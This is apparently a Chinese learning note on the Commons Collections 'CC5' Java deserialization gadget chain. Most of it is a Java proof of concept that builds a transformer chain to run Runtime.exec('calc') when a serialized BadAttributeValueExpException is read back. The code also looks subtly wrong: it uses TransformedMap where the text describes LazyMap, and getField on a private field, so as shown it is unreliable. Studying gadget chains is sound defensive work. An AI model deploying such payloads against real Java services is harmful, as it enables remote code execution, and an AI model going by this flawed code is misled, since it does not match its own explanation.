CC 链学习 –cc5

image-20250413171614034

cc5和前面不一样的地方主要及时在Lazymap.get()的触发方法上

和CC1不一样就是LazyMap.get后面是调了toString

1
TiedMapEntry->toString->getValue

TiedMapEntry

image-20250413170437533

到getValue()

image-20250413170957647

getValue再调了map.get方法，然后就到了LazyMap.get()

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.TransformedMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc5 {
    public static void main(String[] args)throws Exception {
        Transformer[] transformers;
        transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashMap<Object,Object> map= new HashMap<>();
        map.put("value","b链子好难");

        Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(transformedMap,"value");
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(new ConstantTransformer(1));
        Class c=badAttributeValueExpException.getClass();
        Field valfield=c.getField("val");
        valfield.setAccessible(true);
        valfield.set(badAttributeValueExpException,tiedMapEntry);
        serialize(badAttributeValueExpException);  //序列化
        unserialize("ser.bin"); //反序列化
    }
    public static void serialize(Object object) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(object);
    }

    //反序列化方法
    public static void unserialize(String filename) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
}